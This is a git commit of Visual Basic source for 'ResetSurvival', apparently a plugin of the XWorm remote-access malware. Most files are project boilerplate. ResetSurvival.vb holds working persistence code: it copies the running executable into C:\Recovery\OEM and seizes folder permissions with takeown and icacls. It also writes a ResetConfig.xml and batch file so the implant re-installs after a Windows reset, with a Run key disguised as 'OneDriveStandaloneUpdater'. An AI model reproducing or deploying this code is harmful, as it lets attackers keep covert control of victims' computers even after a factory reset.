initial commit

This commit is contained in:
i2p
2026-08-27 11:22:34 -06:00
commit 5983c713b1
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{"RootPath":"C:\\Users\\byt3d4sh\\Desktop\\Projects\\XWorm V6.5\\Plugins\\ResetSurvival","ProjectFileName":"ResetSurvival.vbproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[{"SourceFile":"Plugin.vb"},{"SourceFile":"ResetSurvival.vb"},{"SourceFile":"My Project\\AssemblyInfo.vb"},{"SourceFile":"My Project\\Application.Designer.vb"},{"SourceFile":"My Project\\Resources.Designer.vb"},{"SourceFile":"My Project\\Settings.Designer.vb"},{"SourceFile":"obj\\Debug\\.NETFramework,Version=v4.7.2.AssemblyAttributes.vb"}],"References":[{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Core.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Data.DataSetExtensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Data.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Net.Http.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Xml.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Xml.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""}],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\byt3d4sh\\Desktop\\Projects\\XWorm SRC\\XWorm\\bin\\Debug\\Plugins\\ResetSurvival.dll","OutputItemRelativePath":"ResetSurvival.dll"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]}
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'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.42000
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<MySubMain>false</MySubMain>
<SingleInstance>false</SingleInstance>
<ShutdownMode>0</ShutdownMode>
<EnableVisualStyles>true</EnableVisualStyles>
<AuthenticationMode>0</AuthenticationMode>
<ApplicationType>1</ApplicationType>
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
</MyApplicationData>
@@ -0,0 +1,32 @@
Imports System
Imports System.Reflection
Imports System.Runtime.InteropServices
' General Information about an assembly is controlled through the following
' set of attributes. Change these attribute values to modify the information
' associated with an assembly.
' Review the values of the assembly attributes
<Assembly: AssemblyTitle("ResetSurvival")>
<Assembly: AssemblyDescription("")>
<Assembly: AssemblyCompany("")>
<Assembly: AssemblyProduct("ResetSurvival")>
<Assembly: AssemblyCopyright("Copyright © 2025")>
<Assembly: AssemblyTrademark("")>
<Assembly: ComVisible(False)>
'The following GUID is for the ID of the typelib if this project is exposed to COM
<Assembly: Guid("b0ba6e58-4bcf-4760-b100-d4075f689eb1")>
' Version information for an assembly consists of the following four values:
'
' Major Version
' Minor Version
' Build Number
' Revision
'
<Assembly: AssemblyVersion("1.0.0.0")>
<Assembly: AssemblyFileVersion("1.0.0.0")>
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'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.42000
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My.Resources
'This class was auto-generated by the StronglyTypedResourceBuilder
'class via a tool like ResGen or Visual Studio.
'To add or remove a member, edit your .ResX file then rerun ResGen
'with the /str option, or rebuild your VS project.
'''<summary>
''' A strongly-typed resource class, for looking up localized strings, etc.
'''</summary>
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
Friend Module Resources
Private resourceMan As Global.System.Resources.ResourceManager
Private resourceCulture As Global.System.Globalization.CultureInfo
'''<summary>
''' Returns the cached ResourceManager instance used by this class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
Get
If Object.ReferenceEquals(resourceMan, Nothing) Then
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("ResetSurvival.Resources", GetType(Resources).Assembly)
resourceMan = temp
End If
Return resourceMan
End Get
End Property
'''<summary>
''' Overrides the current thread's CurrentUICulture property for all
''' resource lookups using this strongly typed resource class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend Property Culture() As Global.System.Globalization.CultureInfo
Get
Return resourceCulture
End Get
Set(ByVal value As Global.System.Globalization.CultureInfo)
resourceCulture = value
End Set
End Property
End Module
End Namespace
@@ -0,0 +1,117 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
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'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.42000
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0"), _
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Partial Friend NotInheritable Class MySettings
Inherits Global.System.Configuration.ApplicationSettingsBase
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings)
#Region "My.Settings Auto-Save Functionality"
#If _MyType = "WindowsForms" Then
Private Shared addedHandler As Boolean
Private Shared addedHandlerLockObject As New Object
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
If My.Application.SaveMySettingsOnExit Then
My.Settings.Save()
End If
End Sub
#End If
#End Region
Public Shared ReadOnly Property [Default]() As MySettings
Get
#If _MyType = "WindowsForms" Then
If Not addedHandler Then
SyncLock addedHandlerLockObject
If Not addedHandler Then
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
addedHandler = True
End If
End SyncLock
End If
#End If
Return defaultInstance
End Get
End Property
End Class
End Namespace
Namespace My
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
Friend Module MySettingsProperty
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
Friend ReadOnly Property Settings() As Global.ResetSurvival.My.MySettings
Get
Return Global.ResetSurvival.My.MySettings.Default
End Get
End Property
End Module
End Namespace
@@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>
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Imports System
Imports System.Diagnostics
Imports Microsoft.VisualBasic
Namespace ResetSurvival
Public Class Plugin
Public Shared Function RunRecovery(Method As Integer) As String
Dim text As String
Try
Select Case Method
Case 9
ResetSurvival.RunBootkit(Process.GetCurrentProcess().MainModule.FileName)
End Select
text = Nothing
Catch ex As Exception
text = Nothing
End Try
Return text
End Function
End Class
End Namespace
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Imports System.IO
Namespace ResetSurvival
Public Class ResetSurvival
Public Shared Sub RunBootkit(sourceFilePath As String)
Try
Dim flag As Boolean = Not File.Exists(sourceFilePath)
If flag Then
Throw New FileNotFoundException("Source file does not exist.", sourceFilePath)
End If
Dim text As String = Guid.NewGuid().ToString() + ".exe"
Dim text2 As String = Guid.NewGuid().ToString() + ".bat"
Dim text3 As String = GenerateResetConfig(text2)
Dim text4 As String = GeneratePersistenceBatch(text, text2)
CreateResetEnvironment(targetDirectory, text, text2, text3, text4, sourceFilePath)
Catch ex As Exception
End Try
End Sub
Private Shared Function GenerateResetConfig(batchName As String) As String
Return String.Concat(New String() {"<?xml version=""1.0"" encoding=""utf-8""?>" & vbCrLf & "<Reset>" & vbCrLf & " <Run Phase=""BasicReset_AfterImageApply"">" & vbCrLf, String.Format(" <Path>{0}</Path>", batchName), vbCrLf & " <Duration>1</Duration>" & vbCrLf & " </Run>" & vbCrLf & " <Run Phase=""FactoryReset_AfterImageApply"">" & vbCrLf, String.Format(" <Path>{0}</Path>", batchName), vbCrLf & " <Duration>1</Duration>" & vbCrLf & " </Run>" & vbCrLf & "</Reset>" & vbCrLf})
End Function
Private Shared Function GeneratePersistenceBatch(fileName As String, batchName As String) As String
Return String.Concat(New String() {"@echo off" & vbCrLf & "setlocal ENABLEEXTENSIONS" & vbCrLf & "set TARGET_PARENT=C:\Recovery" & vbCrLf & "set TARGET_FOLDER=C:\Recovery\OEM" & vbCrLf & "set SOFTWARE_HIVE_PATH=C:\Windows\System32\config\SOFTWARE" & vbCrLf & "takeown /f ""%TARGET_PARENT%"" /r /d y" & vbCrLf & "icacls ""%TARGET_PARENT%"" /grant *S-1-5-18:F /t /c" & vbCrLf & "takeown /f ""%TARGET_FOLDER%"" /r /d y" & vbCrLf & "icacls ""%TARGET_FOLDER%"" /grant *S-1-5-18:F /t /c" & vbCrLf & "reg load HKLM\TempHive ""%SOFTWARE_HIVE_PATH%""" & vbCrLf, String.Format("reg add ""HKLM\TempHive\Microsoft\Windows\CurrentVersion\Run"" /v ""OneDriveStandaloneUpdater"" /t REG_SZ /d ""\""%TARGET_FOLDER%\{0}\"""" /f", fileName), vbCrLf & "reg unload HKLM\TempHive" & vbCrLf, String.Format("start """" ""%TARGET_FOLDER%\{0}""", fileName), vbCrLf & "endlocal" & vbCrLf & "exit" & vbCrLf})
End Function
Private Shared Sub CreateResetEnvironment(targetDir As String, fileName As String, batchName As String, resetConfig As String, persistenceBatch As String, sourceFilePath As String)
Try
Dim flag As Boolean = Not Directory.Exists(targetDir)
If flag Then
Directory.CreateDirectory(targetDir)
End If
EnsureFolderOwnership(targetDir)
SafeFileDelete(Path.Combine(targetDir, "ResetConfig.xml"))
File.WriteAllText(Path.Combine(targetDir, "ResetConfig.xml"), resetConfig)
SafeFileDelete(Path.Combine(targetDir, batchName))
File.WriteAllText(Path.Combine(targetDir, batchName), persistenceBatch)
SafeFileDelete(Path.Combine(targetDir, fileName))
File.Copy(sourceFilePath, Path.Combine(targetDir, fileName))
Catch ex As Exception
End Try
End Sub
Private Shared Sub EnsureFolderOwnership(folderPath As String)
Try
Dim directoryName As String = Path.GetDirectoryName(folderPath)
RunCommand("takeown", String.Format("/f ""{0}"" /r /d y", directoryName))
RunCommand("icacls", String.Format("""{0}"" /grant *S-1-5-18:F /t /c", directoryName))
RunCommand("takeown", String.Format("/f ""{0}"" /r /d y", folderPath))
RunCommand("icacls", String.Format("""{0}"" /grant *S-1-5-18:F /t /c", folderPath))
Catch ex As Exception
End Try
End Sub
Private Shared Sub RunCommand(fileName As String, arguments As String)
Using process As Process = New Process()
process.StartInfo.FileName = fileName
process.StartInfo.Arguments = arguments
process.StartInfo.CreateNoWindow = True
process.StartInfo.UseShellExecute = False
process.Start()
process.WaitForExit()
End Using
End Sub
Private Shared Sub SafeFileDelete(filePath As String)
Try
Dim flag As Boolean = File.Exists(filePath)
If flag Then
File.Delete(filePath)
End If
Catch ex As Exception
End Try
End Sub
Private Shared targetDirectory As String = "C:\Recovery\OEM"
End Class
End Namespace
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<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{AD17723D-F888-446D-931B-9E56A462B616}</ProjectGuid>
<OutputType>Library</OutputType>
<RootNamespace>ResetSurvival</RootNamespace>
<AssemblyName>ResetSurvival</AssemblyName>
<FileAlignment>512</FileAlignment>
<MyType>Windows</MyType>
<TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
<Deterministic>true</Deterministic>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<DefineDebug>true</DefineDebug>
<DefineTrace>true</DefineTrace>
<OutputPath>..\..\..\XWorm SRC\XWorm\bin\Debug\Plugins\</OutputPath>
<DocumentationFile>ResetSurvival.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<DefineDebug>false</DefineDebug>
<DefineTrace>true</DefineTrace>
<Optimize>true</Optimize>
<OutputPath>..\..\..\XWorm\bin\Debug\Plugins\</OutputPath>
<DocumentationFile>ResetSurvival.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
</PropertyGroup>
<PropertyGroup>
<OptionExplicit>On</OptionExplicit>
</PropertyGroup>
<PropertyGroup>
<OptionCompare>Binary</OptionCompare>
</PropertyGroup>
<PropertyGroup>
<OptionStrict>Off</OptionStrict>
</PropertyGroup>
<PropertyGroup>
<OptionInfer>On</OptionInfer>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="System.Net.Http" />
</ItemGroup>
<ItemGroup>
<Import Include="Microsoft.VisualBasic" />
<Import Include="System" />
<Import Include="System.Collections" />
<Import Include="System.Collections.Generic" />
<Import Include="System.Data" />
<Import Include="System.Diagnostics" />
<Import Include="System.Linq" />
<Import Include="System.Xml.Linq" />
<Import Include="System.Threading.Tasks" />
</ItemGroup>
<ItemGroup>
<Compile Include="Plugin.vb" />
<Compile Include="ResetSurvival.vb" />
<Compile Include="My Project\AssemblyInfo.vb" />
<Compile Include="My Project\Application.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Application.myapp</DependentUpon>
</Compile>
<Compile Include="My Project\Resources.Designer.vb">
<AutoGen>True</AutoGen>
<DesignTime>True</DesignTime>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<Compile Include="My Project\Settings.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="My Project\Resources.resx">
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
<CustomToolNamespace>My.Resources</CustomToolNamespace>
<SubType>Designer</SubType>
</EmbeddedResource>
</ItemGroup>
<ItemGroup>
<None Include="My Project\Application.myapp">
<Generator>MyApplicationCodeGenerator</Generator>
<LastGenOutput>Application.Designer.vb</LastGenOutput>
</None>
<None Include="My Project\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<CustomToolNamespace>My</CustomToolNamespace>
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
</None>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
</Project>
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<?xml version="1.0"?>
<doc>
<assembly>
<name>
ResetSurvival
</name>
</assembly>
<members>
<member name="T:ResetSurvival.My.Resources.Resources">
<summary>
A strongly-typed resource class, for looking up localized strings, etc.
</summary>
</member>
<member name="P:ResetSurvival.My.Resources.Resources.ResourceManager">
<summary>
Returns the cached ResourceManager instance used by this class.
</summary>
</member>
<member name="P:ResetSurvival.My.Resources.Resources.Culture">
<summary>
Overrides the current thread's CurrentUICulture property for all
resource lookups using this strongly typed resource class.
</summary>
</member>
</members>
</doc>
@@ -0,0 +1,7 @@
' <autogenerated/>
Option Strict Off
Option Explicit On
Imports System
Imports System.Reflection
<Assembly: Global.System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName:=".NET Framework 4.7.2")>
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@@ -0,0 +1 @@
d5ace883b3fbe10bab0859428c735ee163a21e31ab2e497434e68e016b834033
@@ -0,0 +1,33 @@
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\ResetSurvival\bin\Debug\ResetSurvival.dll
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\ResetSurvival\bin\Debug\ResetSurvival.pdb
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\ResetSurvival\bin\Debug\ResetSurvival.xml
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\ResetSurvival\obj\Debug\ResetSurvival.vbproj.AssemblyReference.cache
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\ResetSurvival\obj\Debug\ResetSurvival.Resources.resources
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\ResetSurvival\obj\Debug\ResetSurvival.vbproj.GenerateResource.cache
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\ResetSurvival\obj\Debug\ResetSurvival.vbproj.CoreCompileInputs.cache
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\ResetSurvival\obj\Debug\ResetSurvival.dll
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\ResetSurvival\obj\Debug\ResetSurvival.xml
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\ResetSurvival\obj\Debug\ResetSurvival.pdb
C:\Users\byt3d4sh\Desktop\XWorm\bin\Debug\Plugins\ResetSurvival.dll
C:\Users\byt3d4sh\Desktop\XWorm\bin\Debug\Plugins\ResetSurvival.pdb
C:\Users\byt3d4sh\Desktop\XWorm\bin\Debug\Plugins\ResetSurvival.xml
C:\Users\byt3d4sh\Desktop\Projects\XWorm\bin\Debug\Plugins\ResetSurvival.dll
C:\Users\byt3d4sh\Desktop\Projects\XWorm\bin\Debug\Plugins\ResetSurvival.pdb
C:\Users\byt3d4sh\Desktop\Projects\XWorm\bin\Debug\Plugins\ResetSurvival.xml
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\ResetSurvival\obj\Debug\ResetSurvival.vbproj.AssemblyReference.cache
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\ResetSurvival\obj\Debug\ResetSurvival.Resources.resources
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\ResetSurvival\obj\Debug\ResetSurvival.vbproj.GenerateResource.cache
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\ResetSurvival\obj\Debug\ResetSurvival.vbproj.CoreCompileInputs.cache
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\ResetSurvival\obj\Debug\ResetSurvival.dll
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\ResetSurvival\obj\Debug\ResetSurvival.xml
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\ResetSurvival\obj\Debug\ResetSurvival.pdb
C:\Users\byt3d4sh\Desktop\src 2\Plugins\ResetSurvival\obj\Debug\ResetSurvival.vbproj.AssemblyReference.cache
C:\Users\byt3d4sh\Desktop\src 2\Plugins\ResetSurvival\obj\Debug\ResetSurvival.Resources.resources
C:\Users\byt3d4sh\Desktop\src 2\Plugins\ResetSurvival\obj\Debug\ResetSurvival.vbproj.GenerateResource.cache
C:\Users\byt3d4sh\Desktop\src 2\Plugins\ResetSurvival\obj\Debug\ResetSurvival.vbproj.CoreCompileInputs.cache
C:\Users\byt3d4sh\Desktop\src 2\Plugins\ResetSurvival\obj\Debug\ResetSurvival.dll
C:\Users\byt3d4sh\Desktop\src 2\Plugins\ResetSurvival\obj\Debug\ResetSurvival.xml
C:\Users\byt3d4sh\Desktop\src 2\Plugins\ResetSurvival\obj\Debug\ResetSurvival.pdb
C:\Users\byt3d4sh\Desktop\XWorm SRC\XWorm\bin\Debug\Plugins\ResetSurvival.dll
C:\Users\byt3d4sh\Desktop\XWorm SRC\XWorm\bin\Debug\Plugins\ResetSurvival.pdb
C:\Users\byt3d4sh\Desktop\XWorm SRC\XWorm\bin\Debug\Plugins\ResetSurvival.xml
@@ -0,0 +1,26 @@
<?xml version="1.0"?>
<doc>
<assembly>
<name>
ResetSurvival
</name>
</assembly>
<members>
<member name="T:ResetSurvival.My.Resources.Resources">
<summary>
A strongly-typed resource class, for looking up localized strings, etc.
</summary>
</member>
<member name="P:ResetSurvival.My.Resources.Resources.ResourceManager">
<summary>
Returns the cached ResourceManager instance used by this class.
</summary>
</member>
<member name="P:ResetSurvival.My.Resources.Resources.Culture">
<summary>
Overrides the current thread's CurrentUICulture property for all
resource lookups using this strongly typed resource class.
</summary>
</member>
</members>
</doc>